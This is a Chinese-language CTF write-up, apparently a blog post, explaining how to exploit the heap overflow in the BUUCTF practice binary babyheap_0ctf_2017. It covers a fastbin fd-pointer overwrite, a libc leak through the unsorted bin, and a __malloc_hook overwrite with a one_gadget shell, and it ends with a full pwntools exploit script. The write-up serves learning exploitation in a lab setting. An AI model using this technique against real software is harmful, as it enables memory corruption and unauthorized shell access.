【Write-up】BUUCTF babyheap_0ctf_2017
这一题是作者的第一道堆题,给作者的第一感受就是神乎其神,在参考了网络上的一些 WP 后写下自己的 WP,如有错误烦请斧正
参考文章
checksec 查看程序架构
$ checksec --file babyheap_0ctf_2017
[*] '/home/peterl/security/workspace/babyheap_0ctf_2017/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ida 查看程序伪代码
这个程序故意把.symtab
节删掉了,所以没有函数名称,这里作者在 ida 中简单地重命名了一下
allocate
这个函数会分配一个大小小于 4096 的内存块(不存在符号位漏洞),而我们知道这个内存块会是从 top_chunk 中分割出来的:
然后,malloc 会返回指向 chunk 中size 的尾部,user_data 的首部,同时也是 fd 指针的首部的指针,而这个指针会存放在一个大数组中,而这个大数组是以三个单元为一个实体的,可以看作它是一个结构体数组,这个结构体数组的构造如下:
fill
这个函数在检查内存是否可用(标志是否为 1)后会向对应索引的内存中填入任意大小的数据,这个数据长度是由用户随意指定的!!这里就出现了堆溢出漏洞
Free
在检查标志位是否为 1 后,它会将标识位、size 置零,并释放内存
dump
这个函数在检查标志位是否为 1 后,会将内存中的内容打印出来
基本思路
我们想一下这么一件事:在我们的结构体数组中,理论上每一个结构体内的内存地址是不一样的,而且如果内存被释放,标志位也会被置零,从而也就无法访问。
那么问题来了,如果我们让两个结构体内的指针都指向同一块内存,那么就算这块内存已被释放,我们仍然可以通过另一个指针访问这块已被释放的空间
同时,我们知道三件事:
- 当用户需要的 chunk 的大小小于 fastbin 的最大大小时, ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块,如果有的话,就会直接从这个 bin 中获取 chunk(默认最大大小为
(64 * SIZE_SZ / 4)
,32 位为 64=0x40 字节,64 位为 128=0x80 字节) - 如果 unsorted bin 内有且仅有一块 chunk 时,这块 chunk 的 fd 指针和 bk 指针都会指向
main_arena + 0x58
,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 - 如果
malloc_hook
存在,malloc
会先调用__malloc_hook
的值指向的函数
那么,假设我们能获得一个指向 unsorted bin 中唯一 chunk 的指针,我们就能成功获得 libc 基址。
而如果我们拥有了一个指向 fast bin 中 chunk 的指针,那么我们就能够更改其 fd 指针,从而控制 malloc 到的地址的值,从而我们能够修改任何地址的内容
然后,我们就可以更改__malloc_hook
的值,从而更改malloc
的行为
构建 exp
针对四个选项编写四个输入函数
def allocate(size: int):
p.clean()
p.sendline(str(1))
p.clean()
p.sendline(str(size))
def fill(index: int, payload: bytes):
p.clean()
p.sendline(str(2))
p.clean()
p.sendline(str(index))
p.clean()
p.sendline(str(len(payload)))
p.clean()
p.sendline(payload)
def free(index: int):
p.clean()
p.sendline(str(3))
p.clean()
p.sendline(str(index))
def dump(index: int) -> bytes:
p.clean()
p.sendline(str(4))
p.clean()
p.sendline(str(index))
p.recvline()
return p.recvuntil("\n")[:-1]
得到初始 chunk
我们需要分配几个 chunk,其中有且仅有一个大小超过 fast bin 的限制,会被放进 unsorted bin 中
然后我们会 allocate 两次,一次是正常的 fast bin 里面的内容,一次指向会被放入 unsorted bin 中的大 chunk。
那么我们可以先划出 4 个 0x10 的 chunk(size 位=prev_size+size+prev_inuse+0x10=0x20),再划出一块 0x80 大小的 chunk 用以放进 unsorted bin 中:
因此我们可以初始分配五个 chunk:
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
安排指向 chunk 4 的指针
我们只要覆写了 chunk 2 的 fd 指针,让它指向 chunk 4,那么我们在第二次 allocate 的时候,得到的就是指向 chunk 4 的指针
具体步骤:
这里我们先把 chunk 1 和 chunk 2 free 掉,这样子 chunk 1 和 chunk 2 的fd指针就生效了。
又因为我们可以向一块chunk内填入任意大小的数据,我们就可以通过将payload1填进chunk0用以覆写chunk2的fd指针
然后为了保证chunk4被正确分配,我们可以将payload2填入chunk3中,用以覆写chunk4的size
这里要注意的是,chunk 4 的 size 位要设置成 0x21,不然在
allocate(0x10)
的时候,因为大小不一样,malloc 时是没有办法分配到 chunk 4 的
然后我们就可以allocate两次,第二次分配到的就是chunk4了,这时chunk2指向的也是chunk4了。
需要注意的是,我们需要将chunk 4 的size位恢复原状,因为我们下一步是要把chunk 4放入unsorted bin中
free(1)
free(2)
payload1 = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0, payload1)
# 覆盖size位
payload2 = p64(0)*3 + p64(0x21)
fill(3, payload2)
allocate(0x10)
# 得到chunk4指针
allocate(0x10)
# 恢复size位
payload3 = p64(0)*3 + p64(0x91)
fill(3, payload3)
将chunk 4放进unsorted bin中获取libc基址
我们不能直接把chunk 4 free掉,因为chunk 4和top chunk相邻,直接free掉会使chunk 4并入top chunk
因此我们allocate一个chunk 5,然后free掉chunk 4,又因为此时chunk 4虽然由于标志位为0不可访问,但是chunk 2仍能被dump函数识别为未释放的空间,从而读取内容。
因此,我们直接dump chunk 2,减去固定值0x3c4b78
,就得到了libc基址
allocate(0x80)
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78
success("libc_base: "+hex(libc_base))
覆写任意地址的数据
当我们通过覆写chunk 2的fd位的时候,我们应该已经发现了,通过这种方式,我们可以将fd位覆写为任意我们喜欢的地址
我们可以通过覆写code段中的__malloc_hook
函数来改变malloc
的行为,这个函数的详细说明见此,这里贴一段我们这个程序要用到的说明:
可以看到,__malloc_hook
函数的值是malloc
会在它被call的时候使用的函数指针,所以,我们只需要更改__malloc_hook
的值,我们就能更改malloc
的行为
__malloc_hook
函数的偏移存在sym表中:
$ readelf -aW libc-2.23.so | grep hook
00000000003c3dc8 000006fb00000006 R_X86_64_GLOB_DAT 00000000003c67b0 __malloc_initialize_hook@@GLIBC_2.2.5 + 0
00000000003c3ea8 000001e700000006 R_X86_64_GLOB_DAT 00000000003c9560 argp_program_version_hook@@GLIBC_2.2.5 + 0
00000000003c3eb0 0000072200000006 R_X86_64_GLOB_DAT 00000000003c67a0 __after_morecore_hook@@GLIBC_2.2.5 + 0
00000000003c3ee0 000008ae00000006 R_X86_64_GLOB_DAT 00000000003c4b00 __memalign_hook@@GLIBC_2.2.5 + 0
00000000003c3ef0 0000044000000006 R_X86_64_GLOB_DAT 00000000003c4b10 __malloc_hook@@GLIBC_2.2.5 + 0
00000000003c3ef8 000000d600000006 R_X86_64_GLOB_DAT 00000000003c67a8 __free_hook@@GLIBC_2.2.5 + 0
00000000003c3fd0 000005cb00000006 R_X86_64_GLOB_DAT 00000000003c4b08 __realloc_hook@@GLIBC_2.2.5 + 0
214: 00000000003c67a8 8 OBJECT WEAK DEFAULT 34 __free_hook@@GLIBC_2.2.5
487: 00000000003c9560 8 OBJECT GLOBAL DEFAULT 34 argp_program_version_hook@@GLIBC_2.2.5
958: 00000000003c92e0 8 OBJECT GLOBAL DEFAULT 34 _dl_open_hook@@GLIBC_PRIVATE
1088: 00000000003c4b10 8 OBJECT WEAK DEFAULT 33 __malloc_hook@@GLIBC_2.2.5
1483: 00000000003c4b08 8 OBJECT WEAK DEFAULT 33 __realloc_hook@@GLIBC_2.2.5
1787: 00000000003c67b0 8 OBJECT WEAK DEFAULT 34 __malloc_initialize_hook@@GLIBC_2.2.5
1826: 00000000003c67a0 8 OBJECT WEAK DEFAULT 34 __after_morecore_hook@@GLIBC_2.2.5
2222: 00000000003c4b00 8 OBJECT WEAK DEFAULT 33 __memalign_hook@@GLIBC_2.2.5
注意,因为默认输出宽度限制的原因,只用
readelf -a
命令无法输出__malloc_hook而是__m[...],必须加上-W或者--width
选项才能加宽
这里有一个小技巧,在__malloc_hook-0x23
处malloc可以使size位刚好为0x7f,这样子就可以更改__malloc_hook
的值
我们再用one_gadget
命令找一下可用的gadget:
$ one_gadget libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
因为有些gadget对栈有要求,所以只有一些可以用。试了一下,第二个刚好是可以用的
allocate(0x60)
free(4)
# 更改fd指针
payload4 = p64(libc_base+libc.sym['__malloc_hook']-0x23)
fill(2, payload4)
allocate(0x60)
allocate(0x60)
# 更改__malloc_hook的值
# prev_size+size=0x10,然后要填充0x13的空位才能到__malloc_hook的位置
payload5 = p8(0)*3 + p64(0)*2 + p64(libc_base+0x4526a)
fill(6, payload5)
然后allocate任意一个值就可以得到shell啦
完整exp
from pwn import *
from pwn import p64, p32, u32, u64, p8
import sys
from LibcSearcher import LibcSearcher
pss: bool = True
fn: str = "./babyheap_0ctf_2017"
libc_name: str = "./libc-2.23.so"
port: str = "25943"
if_32: bool = False
if_debug: bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "b* 0x1329")
else:
p = process(["ld-2.23.so", fn], env={"LD_PRELOAD": libc_name})
# p = process(fn)
libc = ELF(libc_name)
def allocate(size: int):
p.clean()
p.sendline(str(1))
p.clean()
p.sendline(str(size))
def fill(index: int, payload: bytes):
p.clean()
p.sendline(str(2))
p.clean()
p.sendline(str(index))
p.clean()
p.sendline(str(len(payload)))
p.clean()
p.sendline(payload)
def free(index: int):
p.clean()
p.sendline(str(3))
p.clean()
p.sendline(str(index))
def dump(index: int) -> bytes:
p.clean()
p.sendline(str(4))
p.clean()
p.sendline(str(index))
p.recvline()
return p.recvuntil("\n")[:-1]
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
# gdb.attach(p)
free(1)
free(2)
# gdb.attach(p)
payload1 = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0, payload1)
payload2 = p64(0)*3 + p64(0x21)
fill(3, payload2)
allocate(0x10)
allocate(0x10)
payload3 = p64(0)*3 + p64(0x91)
fill(3, payload3)
allocate(0x80)
free(4)
# gdb.attach(p)
libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78
success("libc_base: "+hex(libc_base))
allocate(0x60)
free(4)
# gdb.attach(p)
payload4 = p64(libc_base+libc.sym['__malloc_hook']-0x23)
fill(2, payload4)
allocate(0x60)
allocate(0x60)
# gdb.attach(p)
payload5 = p8(0)*3 + p64(0)*2 + p64(libc_base+0x4526a)
fill(6, payload5)
# gdb.attach(p)
allocate(0x10)
p.clean()
p.interactive()
标签:__,malloc,0ctf,chunk,babyheap,hook,allocate,2017,p64
From: https://www.cnblogs.com/peterliuall/p/16828435.html